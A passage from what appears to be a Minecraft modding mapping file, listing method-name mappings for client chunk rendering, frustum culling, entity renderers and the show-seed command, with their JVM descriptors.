(Lnet/minecraft/util/EnumWorldBlockLayer;Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/client/renderer/chunk/RenderChunk;Lnet/minecraft/client/renderer/chunk/CompiledChunk;)Lcom/google/common/util/concurrent/ListenableFuture; net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/func_178503_a (Lnet/minecraft/util/EnumWorldBlockLayer;Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/client/renderer/chunk/RenderChunk;Lnet/minecraft/client/renderer/chunk/CompiledChunk;)Lcom/google/common/util/concurrent/ListenableFuture; +MD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/uploadDisplayList (Lnet/minecraft/client/renderer/WorldRenderer;ILnet/minecraft/client/renderer/chunk/RenderChunk;)V net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/func_178510_a (Lnet/minecraft/client/renderer/WorldRenderer;ILnet/minecraft/client/renderer/chunk/RenderChunk;)V +MD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/uploadVertexBuffer (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/client/renderer/vertex/VertexBuffer;)V net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/func_178506_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/client/renderer/vertex/VertexBuffer;)V +MD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/freeRenderBuilder (Lnet/minecraft/client/renderer/RegionRenderCacheBuilder;)V net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/func_178512_a (Lnet/minecraft/client/renderer/RegionRenderCacheBuilder;)V +MD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/access$000 (Lnet/minecraft/client/renderer/chunk/ChunkRenderDispatcher;)Ljava/util/concurrent/BlockingQueue; net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/access$000 (Lnet/minecraft/client/renderer/chunk/ChunkRenderDispatcher;)Ljava/util/concurrent/BlockingQueue; +MD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/updateChunkLater (Lnet/minecraft/client/renderer/chunk/RenderChunk;)Z net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/func_178507_a (Lnet/minecraft/client/renderer/chunk/RenderChunk;)Z +MD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/stopChunkUpdates ()V net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/func_178514_b ()V +MD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/updateChunkNow (Lnet/minecraft/client/renderer/chunk/RenderChunk;)Z net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/func_178505_b (Lnet/minecraft/client/renderer/chunk/RenderChunk;)Z +MD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/allocateRenderBuilder ()Lnet/minecraft/client/renderer/RegionRenderCacheBuilder; net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/func_178515_c ()Lnet/minecraft/client/renderer/RegionRenderCacheBuilder; +MD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/updateTransparencyLater (Lnet/minecraft/client/renderer/chunk/RenderChunk;)Z net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/func_178509_c (Lnet/minecraft/client/renderer/chunk/RenderChunk;)Z +MD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/getNextChunkUpdate ()Lnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator; net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/func_178511_d ()Lnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator; +MD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/clearChunkUpdates ()V net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/func_178513_e ()V +MD: net/minecraft/client/renderer/chunk/ChunkRenderWorker$1/run ()V net/minecraft/client/renderer/chunk/ChunkRenderWorker$1/run ()V +MD: net/minecraft/client/renderer/chunk/ChunkRenderWorker$2/onSuccess (Ljava/util/List;)V net/minecraft/client/renderer/chunk/ChunkRenderWorker$2/onSuccess (Ljava/util/List;)V +MD: net/minecraft/client/renderer/chunk/ChunkRenderWorker$2/onFailure (Ljava/lang/Throwable;)V net/minecraft/client/renderer/chunk/ChunkRenderWorker$2/onFailure (Ljava/lang/Throwable;)V +MD: net/minecraft/client/renderer/chunk/ChunkRenderWorker$2/onSuccess (Ljava/lang/Object;)V net/minecraft/client/renderer/chunk/ChunkRenderWorker$2/onSuccess (Ljava/lang/Object;)V +MD: net/minecraft/client/renderer/chunk/ChunkRenderWorker/access$100 ()Lorg/apache/logging/log4j/Logger; net/minecraft/client/renderer/chunk/ChunkRenderWorker/access$100 ()Lorg/apache/logging/log4j/Logger; +MD: net/minecraft/client/renderer/chunk/ChunkRenderWorker/processTask (Lnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator;)V net/minecraft/client/renderer/chunk/ChunkRenderWorker/func_178474_a (Lnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator;)V +MD: net/minecraft/client/renderer/chunk/ChunkRenderWorker/access$000 (Lnet/minecraft/client/renderer/chunk/ChunkRenderWorker;Lnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator;)V net/minecraft/client/renderer/chunk/ChunkRenderWorker/access$000 (Lnet/minecraft/client/renderer/chunk/ChunkRenderWorker;Lnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator;)V +MD: net/minecraft/client/renderer/chunk/ChunkRenderWorker/getRegionRenderCacheBuilder ()Lnet/minecraft/client/renderer/RegionRenderCacheBuilder; net/minecraft/client/renderer/chunk/ChunkRenderWorker/func_178475_b ()Lnet/minecraft/client/renderer/RegionRenderCacheBuilder; +MD: net/minecraft/client/renderer/chunk/ChunkRenderWorker/freeRenderBuilder (Lnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator;)V net/minecraft/client/renderer/chunk/ChunkRenderWorker/func_178473_b (Lnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator;)V +MD: net/minecraft/client/renderer/chunk/ChunkRenderWorker/run ()V net/minecraft/client/renderer/chunk/ChunkRenderWorker/run ()V +MD: net/minecraft/client/renderer/chunk/CompiledChunk$1/setLayerUsed (Lnet/minecraft/util/EnumWorldBlockLayer;)V net/minecraft/client/renderer/chunk/CompiledChunk$1/func_178486_a (Lnet/minecraft/util/EnumWorldBlockLayer;)V +MD: net/minecraft/client/renderer/chunk/CompiledChunk$1/isVisible (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/client/renderer/chunk/CompiledChunk$1/func_178495_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/client/renderer/chunk/CompiledChunk$1/setLayerStarted (Lnet/minecraft/util/EnumWorldBlockLayer;)V net/minecraft/client/renderer/chunk/CompiledChunk$1/func_178493_c (Lnet/minecraft/util/EnumWorldBlockLayer;)V +MD: net/minecraft/client/renderer/chunk/CompiledChunk/isEmpty ()Z net/minecraft/client/renderer/chunk/CompiledChunk/func_178489_a ()Z +MD: net/minecraft/client/renderer/chunk/CompiledChunk/setLayerUsed (Lnet/minecraft/util/EnumWorldBlockLayer;)V net/minecraft/client/renderer/chunk/CompiledChunk/func_178486_a (Lnet/minecraft/util/EnumWorldBlockLayer;)V +MD: net/minecraft/client/renderer/chunk/CompiledChunk/addTileEntity (Lnet/minecraft/tileentity/TileEntity;)V net/minecraft/client/renderer/chunk/CompiledChunk/func_178490_a (Lnet/minecraft/tileentity/TileEntity;)V +MD: net/minecraft/client/renderer/chunk/CompiledChunk/setState (Lnet/minecraft/client/renderer/WorldRenderer$State;)V net/minecraft/client/renderer/chunk/CompiledChunk/func_178494_a (Lnet/minecraft/client/renderer/WorldRenderer$State;)V +MD: net/minecraft/client/renderer/chunk/CompiledChunk/setVisibility (Lnet/minecraft/client/renderer/chunk/SetVisibility;)V net/minecraft/client/renderer/chunk/CompiledChunk/func_178488_a (Lnet/minecraft/client/renderer/chunk/SetVisibility;)V +MD: net/minecraft/client/renderer/chunk/CompiledChunk/isVisible (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/client/renderer/chunk/CompiledChunk/func_178495_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/client/renderer/chunk/CompiledChunk/getTileEntities ()Ljava/util/List; net/minecraft/client/renderer/chunk/CompiledChunk/func_178485_b ()Ljava/util/List; +MD: net/minecraft/client/renderer/chunk/CompiledChunk/isLayerEmpty (Lnet/minecraft/util/EnumWorldBlockLayer;)Z net/minecraft/client/renderer/chunk/CompiledChunk/func_178491_b (Lnet/minecraft/util/EnumWorldBlockLayer;)Z +MD: net/minecraft/client/renderer/chunk/CompiledChunk/getState ()Lnet/minecraft/client/renderer/WorldRenderer$State; net/minecraft/client/renderer/chunk/CompiledChunk/func_178487_c ()Lnet/minecraft/client/renderer/WorldRenderer$State; +MD: net/minecraft/client/renderer/chunk/CompiledChunk/setLayerStarted (Lnet/minecraft/util/EnumWorldBlockLayer;)V net/minecraft/client/renderer/chunk/CompiledChunk/func_178493_c (Lnet/minecraft/util/EnumWorldBlockLayer;)V +MD: net/minecraft/client/renderer/chunk/CompiledChunk/isLayerStarted (Lnet/minecraft/util/EnumWorldBlockLayer;)Z net/minecraft/client/renderer/chunk/CompiledChunk/func_178492_d (Lnet/minecraft/util/EnumWorldBlockLayer;)Z +MD: net/minecraft/client/renderer/chunk/ListChunkFactory/makeRenderChunk (Lnet/minecraft/world/World;Lnet/minecraft/client/renderer/RenderGlobal;Lnet/minecraft/util/BlockPos;I)Lnet/minecraft/client/renderer/chunk/RenderChunk; net/minecraft/client/renderer/chunk/ListChunkFactory/func_178602_a (Lnet/minecraft/world/World;Lnet/minecraft/client/renderer/RenderGlobal;Lnet/minecraft/util/BlockPos;I)Lnet/minecraft/client/renderer/chunk/RenderChunk; +MD: net/minecraft/client/renderer/chunk/ListedRenderChunk/deleteGlResources ()V net/minecraft/client/renderer/chunk/ListedRenderChunk/func_178566_a ()V +MD: net/minecraft/client/renderer/chunk/ListedRenderChunk/getDisplayList (Lnet/minecraft/util/EnumWorldBlockLayer;Lnet/minecraft/client/renderer/chunk/CompiledChunk;)I net/minecraft/client/renderer/chunk/ListedRenderChunk/func_178600_a (Lnet/minecraft/util/EnumWorldBlockLayer;Lnet/minecraft/client/renderer/chunk/CompiledChunk;)I +MD: net/minecraft/client/renderer/chunk/RenderChunk/deleteGlResources ()V net/minecraft/client/renderer/chunk/RenderChunk/func_178566_a ()V +MD: net/minecraft/client/renderer/chunk/RenderChunk/resortTransparency (FFFLnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator;)V net/minecraft/client/renderer/chunk/RenderChunk/func_178570_a (FFFLnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator;)V +MD: net/minecraft/client/renderer/chunk/RenderChunk/setFrameIndex (I)Z net/minecraft/client/renderer/chunk/RenderChunk/func_178577_a (I)Z +MD: net/minecraft/client/renderer/chunk/RenderChunk/postRenderBlocks (Lnet/minecraft/util/EnumWorldBlockLayer;FFFLnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/client/renderer/chunk/CompiledChunk;)V net/minecraft/client/renderer/chunk/RenderChunk/func_178584_a (Lnet/minecraft/util/EnumWorldBlockLayer;FFFLnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/client/renderer/chunk/CompiledChunk;)V +MD: net/minecraft/client/renderer/chunk/RenderChunk/preRenderBlocks (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/util/BlockPos;)V net/minecraft/client/renderer/chunk/RenderChunk/func_178573_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/client/renderer/chunk/RenderChunk/setCompiledChunk (Lnet/minecraft/client/renderer/chunk/CompiledChunk;)V net/minecraft/client/renderer/chunk/RenderChunk/func_178580_a (Lnet/minecraft/client/renderer/chunk/CompiledChunk;)V +MD: net/minecraft/client/renderer/chunk/RenderChunk/setPosition (Lnet/minecraft/util/BlockPos;)V net/minecraft/client/renderer/chunk/RenderChunk/func_178576_a (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/client/renderer/chunk/RenderChunk/getBlockPosOffset16 (Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/util/BlockPos; net/minecraft/client/renderer/chunk/RenderChunk/func_181701_a (Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/client/renderer/chunk/RenderChunk/setNeedsUpdate (Z)V net/minecraft/client/renderer/chunk/RenderChunk/func_178575_a (Z)V +MD: net/minecraft/client/renderer/chunk/RenderChunk/finishCompileTask ()V net/minecraft/client/renderer/chunk/RenderChunk/func_178578_b ()V +MD: net/minecraft/client/renderer/chunk/RenderChunk/rebuildChunk (FFFLnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator;)V net/minecraft/client/renderer/chunk/RenderChunk/func_178581_b (FFFLnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator;)V +MD: net/minecraft/client/renderer/chunk/RenderChunk/getVertexBufferByLayer (I)Lnet/minecraft/client/renderer/vertex/VertexBuffer; net/minecraft/client/renderer/chunk/RenderChunk/func_178565_b (I)Lnet/minecraft/client/renderer/vertex/VertexBuffer; +MD: net/minecraft/client/renderer/chunk/RenderChunk/getLockCompileTask ()Ljava/util/concurrent/locks/ReentrantLock; net/minecraft/client/renderer/chunk/RenderChunk/func_178579_c ()Ljava/util/concurrent/locks/ReentrantLock; +MD: net/minecraft/client/renderer/chunk/RenderChunk/makeCompileTaskChunk ()Lnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator; net/minecraft/client/renderer/chunk/RenderChunk/func_178574_d ()Lnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator; +MD: net/minecraft/client/renderer/chunk/RenderChunk/makeCompileTaskTransparency ()Lnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator; net/minecraft/client/renderer/chunk/RenderChunk/func_178582_e ()Lnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator; +MD: net/minecraft/client/renderer/chunk/RenderChunk/multModelviewMatrix ()V net/minecraft/client/renderer/chunk/RenderChunk/func_178572_f ()V +MD: net/minecraft/client/renderer/chunk/RenderChunk/getCompiledChunk ()Lnet/minecraft/client/renderer/chunk/CompiledChunk; net/minecraft/client/renderer/chunk/RenderChunk/func_178571_g ()Lnet/minecraft/client/renderer/chunk/CompiledChunk; +MD: net/minecraft/client/renderer/chunk/RenderChunk/stopCompileTask ()V net/minecraft/client/renderer/chunk/RenderChunk/func_178585_h ()V +MD: net/minecraft/client/renderer/chunk/RenderChunk/getPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/client/renderer/chunk/RenderChunk/func_178568_j ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/client/renderer/chunk/RenderChunk/isNeedsUpdate ()Z net/minecraft/client/renderer/chunk/RenderChunk/func_178569_m ()Z +MD: net/minecraft/client/renderer/chunk/RenderChunk/initModelviewMatrix ()V net/minecraft/client/renderer/chunk/RenderChunk/func_178567_n ()V +MD: net/minecraft/client/renderer/chunk/IRenderChunkFactory/makeRenderChunk (Lnet/minecraft/world/World;Lnet/minecraft/client/renderer/RenderGlobal;Lnet/minecraft/util/BlockPos;I)Lnet/minecraft/client/renderer/chunk/RenderChunk; net/minecraft/client/renderer/chunk/IRenderChunkFactory/func_178602_a (Lnet/minecraft/world/World;Lnet/minecraft/client/renderer/RenderGlobal;Lnet/minecraft/util/BlockPos;I)Lnet/minecraft/client/renderer/chunk/RenderChunk; +MD: net/minecraft/client/renderer/chunk/VboChunkFactory/makeRenderChunk (Lnet/minecraft/world/World;Lnet/minecraft/client/renderer/RenderGlobal;Lnet/minecraft/util/BlockPos;I)Lnet/minecraft/client/renderer/chunk/RenderChunk; net/minecraft/client/renderer/chunk/VboChunkFactory/func_178602_a (Lnet/minecraft/world/World;Lnet/minecraft/client/renderer/RenderGlobal;Lnet/minecraft/util/BlockPos;I)Lnet/minecraft/client/renderer/chunk/RenderChunk; +MD: net/minecraft/client/renderer/chunk/VisGraph/computeVisibility ()Lnet/minecraft/client/renderer/chunk/SetVisibility; net/minecraft/client/renderer/chunk/VisGraph/func_178607_a ()Lnet/minecraft/client/renderer/chunk/SetVisibility; +MD: net/minecraft/client/renderer/chunk/VisGraph/func_178604_a (I)Ljava/util/Set; net/minecraft/client/renderer/chunk/VisGraph/func_178604_a (I)Ljava/util/Set; +MD: net/minecraft/client/renderer/chunk/VisGraph/getIndex (III)I net/minecraft/client/renderer/chunk/VisGraph/func_178605_a (III)I +MD: net/minecraft/client/renderer/chunk/VisGraph/func_178603_a (ILnet/minecraft/util/EnumFacing;)I net/minecraft/client/renderer/chunk/VisGraph/func_178603_a (ILnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/client/renderer/chunk/VisGraph/func_178610_a (ILjava/util/Set;)V net/minecraft/client/renderer/chunk/VisGraph/func_178610_a (ILjava/util/Set;)V +MD: net/minecraft/client/renderer/chunk/VisGraph/func_178606_a (Lnet/minecraft/util/BlockPos;)V net/minecraft/client/renderer/chunk/VisGraph/func_178606_a (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/client/renderer/chunk/VisGraph/func_178609_b (Lnet/minecraft/util/BlockPos;)Ljava/util/Set; net/minecraft/client/renderer/chunk/VisGraph/func_178609_b (Lnet/minecraft/util/BlockPos;)Ljava/util/Set; +MD: net/minecraft/client/renderer/chunk/VisGraph/getIndex (Lnet/minecraft/util/BlockPos;)I net/minecraft/client/renderer/chunk/VisGraph/func_178608_c (Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/client/renderer/chunk/SetVisibility/isVisible (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/client/renderer/chunk/SetVisibility/func_178621_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/client/renderer/chunk/SetVisibility/setVisible (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/util/EnumFacing;Z)V net/minecraft/client/renderer/chunk/SetVisibility/func_178619_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/util/EnumFacing;Z)V +MD: net/minecraft/client/renderer/chunk/SetVisibility/setManyVisible (Ljava/util/Set;)V net/minecraft/client/renderer/chunk/SetVisibility/func_178620_a (Ljava/util/Set;)V +MD: net/minecraft/client/renderer/chunk/SetVisibility/setAllVisible (Z)V net/minecraft/client/renderer/chunk/SetVisibility/func_178618_a (Z)V +MD: net/minecraft/client/renderer/chunk/SetVisibility/toString ()Ljava/lang/String; net/minecraft/client/renderer/chunk/SetVisibility/toString ()Ljava/lang/String; +MD: net/minecraft/command/CommandShowSeed/getRequiredPermissionLevel ()I net/minecraft/command/CommandShowSeed/func_82362_a ()I +MD: net/minecraft/command/CommandShowSeed/canCommandSenderUseCommand (Lnet/minecraft/command/ICommandSender;)Z net/minecraft/command/CommandShowSeed/func_71519_b (Lnet/minecraft/command/ICommandSender;)Z +MD: net/minecraft/command/CommandShowSeed/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandShowSeed/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandShowSeed/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandShowSeed/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandShowSeed/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandShowSeed/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/client/renderer/culling/ICamera/setPosition (DDD)V net/minecraft/client/renderer/culling/ICamera/func_78547_a (DDD)V +MD: net/minecraft/client/renderer/culling/ICamera/isBoundingBoxInFrustum (Lnet/minecraft/util/AxisAlignedBB;)Z net/minecraft/client/renderer/culling/ICamera/func_78546_a (Lnet/minecraft/util/AxisAlignedBB;)Z +MD: net/minecraft/client/renderer/culling/ClippingHelperImpl/getInstance ()Lnet/minecraft/client/renderer/culling/ClippingHelper; net/minecraft/client/renderer/culling/ClippingHelperImpl/func_78558_a ()Lnet/minecraft/client/renderer/culling/ClippingHelper; +MD: net/minecraft/client/renderer/culling/ClippingHelperImpl/normalize ([F)V net/minecraft/client/renderer/culling/ClippingHelperImpl/func_180547_a ([F)V +MD: net/minecraft/client/renderer/culling/ClippingHelperImpl/init ()V net/minecraft/client/renderer/culling/ClippingHelperImpl/func_78560_b ()V +MD: net/minecraft/client/renderer/culling/Frustum/setPosition (DDD)V net/minecraft/client/renderer/culling/Frustum/func_78547_a (DDD)V +MD: net/minecraft/client/renderer/culling/Frustum/isBoundingBoxInFrustum (Lnet/minecraft/util/AxisAlignedBB;)Z net/minecraft/client/renderer/culling/Frustum/func_78546_a (Lnet/minecraft/util/AxisAlignedBB;)Z +MD: net/minecraft/client/renderer/culling/Frustum/isBoxInFrustum (DDDDDD)Z net/minecraft/client/renderer/culling/Frustum/func_78548_b (DDDDDD)Z +MD: net/minecraft/client/renderer/culling/ClippingHelper/dot ([FDDD)D net/minecraft/client/renderer/culling/ClippingHelper/func_178624_a ([FDDD)D +MD: net/minecraft/client/renderer/culling/ClippingHelper/isBoxInFrustum (DDDDDD)Z net/minecraft/client/renderer/culling/ClippingHelper/func_78553_b (DDDDDD)Z +MD: net/minecraft/client/renderer/entity/ArmorStandRenderer$1/initArmor ()V net/minecraft/client/renderer/entity/ArmorStandRenderer$1/func_177177_a ()V +MD: net/minecraft/client/renderer/entity/ArmorStandRenderer/getMainModel ()Lnet/minecraft/client/model/ModelArmorStand; net/minecraft/client/renderer/entity/ArmorStandRenderer/func_177087_b ()Lnet/minecraft/client/model/ModelArmorStand; +MD: net/minecraft/client/renderer/entity/ArmorStandRenderer/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/ArmorStandRenderer/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/ArmorStandRenderer/canRenderName (Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/client/renderer/entity/ArmorStandRenderer/func_177070_b (Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/client/renderer/entity/ArmorStandRenderer/rotateCorpse (Lnet/minecraft/entity/EntityLivingBase;FFF)V net/minecraft/client/renderer/entity/ArmorStandRenderer/func_77043_a (Lnet/minecraft/entity/EntityLivingBase;FFF)V +MD: net/minecraft/client/renderer/entity/ArmorStandRenderer/getEntityTexture (Lnet/minecraft/entity/item/EntityArmorStand;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/ArmorStandRenderer/func_110775_a (Lnet/minecraft/entity/item/EntityArmorStand;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/ArmorStandRenderer/rotateCorpse (Lnet/minecraft/entity/item/EntityArmorStand;FFF)V net/minecraft/client/renderer/entity/ArmorStandRenderer/func_77043_a (Lnet/minecraft/entity/item/EntityArmorStand;FFF)V +MD: net/minecraft/client/renderer/entity/ArmorStandRenderer/getMainModel ()Lnet/minecraft/client/model/ModelBase; net/minecraft/client/renderer/entity/ArmorStandRenderer/func_177087_b ()Lnet/minecraft/client/model/ModelBase; +MD: net/minecraft/client/renderer/entity/ArmorStandRenderer/canRenderName (Lnet/minecraft/entity/Entity;)Z net/minecraft/client/renderer/entity/ArmorStandRenderer/func_177070_b (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/client/renderer/entity/ArmorStandRenderer/canRenderName (Lnet/minecraft/entity/item/EntityArmorStand;)Z net/minecraft/client/renderer/entity/ArmorStandRenderer/func_177070_b (Lnet/minecraft/entity/item/EntityArmorStand;)Z +MD: net/minecraft/client/renderer/entity/RenderArrow/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderArrow/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderArrow/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderArrow/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderArrow/getEntityTexture (Lnet/minecraft/entity/projectile/EntityArrow;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderArrow/func_110775_a (Lnet/minecraft/entity/projectile/EntityArrow;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderArrow/doRender (Lnet/minecraft/entity/projectile/EntityArrow;DDDFF)V net/minecraft/client/renderer/entity/RenderArrow/func_76986_a (Lnet/minecraft/entity/projectile/EntityArrow;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderBat/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderBat/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderBat/preRenderCallback (Lnet/minecraft/entity/EntityLivingBase;F)V net/minecraft/client/renderer/entity/RenderBat/func_77041_b (Lnet/minecraft/entity/EntityLivingBase;F)V +MD: net/minecraft/client/renderer/entity/RenderBat/rotateCorpse (Lnet/minecraft/entity/EntityLivingBase;FFF)V net/minecraft/client/renderer/entity/RenderBat/func_77043_a (Lnet/minecraft/entity/EntityLivingBase;FFF)V +MD: net/minecraft/client/renderer/entity/RenderBat/getEntityTexture (Lnet/minecraft/entity/passive/EntityBat;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderBat/func_110775_a (Lnet/minecraft/entity/passive/EntityBat;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderBat/preRenderCallback (Lnet/minecraft/entity/passive/EntityBat;F)V net/minecraft/client/renderer/entity/RenderBat/func_77041_b (Lnet/minecraft/entity/passive/EntityBat;F)V +MD: net/minecraft/client/renderer/entity/RenderBat/rotateCorpse (Lnet/minecraft/entity/passive/EntityBat;FFF)V net/minecraft/client/renderer/entity/RenderBat/func_77043_a (Lnet/minecraft/entity/passive/EntityBat;FFF)V +MD: net/minecraft/client/renderer/entity/RenderBlaze/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderBlaze/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderBlaze/getEntityTexture (Lnet/minecraft/entity/monster/EntityBlaze;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderBlaze/func_110775_a (Lnet/minecraft/entity/monster/EntityBlaze;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderBoat/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderBoat/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderBoat/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderBoat/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderBoat/getEntityTexture (Lnet/minecraft/entity/item/EntityBoat;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderBoat/func_110775_a (Lnet/minecraft/entity/item/EntityBoat;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderBoat/doRender (Lnet/minecraft/entity/item/EntityBoat;DDDFF)V net/minecraft/client/renderer/entity/RenderBoat/func_76986_a (Lnet/minecraft/entity/item/EntityBoat;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderCaveSpider/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderCaveSpider/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderCaveSpider/preRenderCallback (Lnet/minecraft/entity/EntityLivingBase;F)V net/minecraft/client/renderer/entity/RenderCaveSpider/func_77041_b (Lnet/minecraft/entity/EntityLivingBase;F)V +MD: net/minecraft/client/renderer/entity/RenderCaveSpider/getEntityTexture (Lnet/minecraft/entity/monster/EntityCaveSpider;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderCaveSpider/func_110775_a (Lnet/minecraft/entity/monster/EntityCaveSpider;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderCaveSpider/preRenderCallback (Lnet/minecraft/entity/monster/EntityCaveSpider;F)V net/minecraft/client/renderer/entity/RenderCaveSpider/func_77041_b (Lnet/minecraft/entity/monster/EntityCaveSpider;F)V +MD: net/minecraft/client/renderer/entity/RenderCaveSpider/getEntityTexture (Lnet/minecraft/entity/monster/EntitySpider;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderCaveSpider/func_110775_a (Lnet/minecraft/entity/monster/EntitySpider;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderChicken/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; 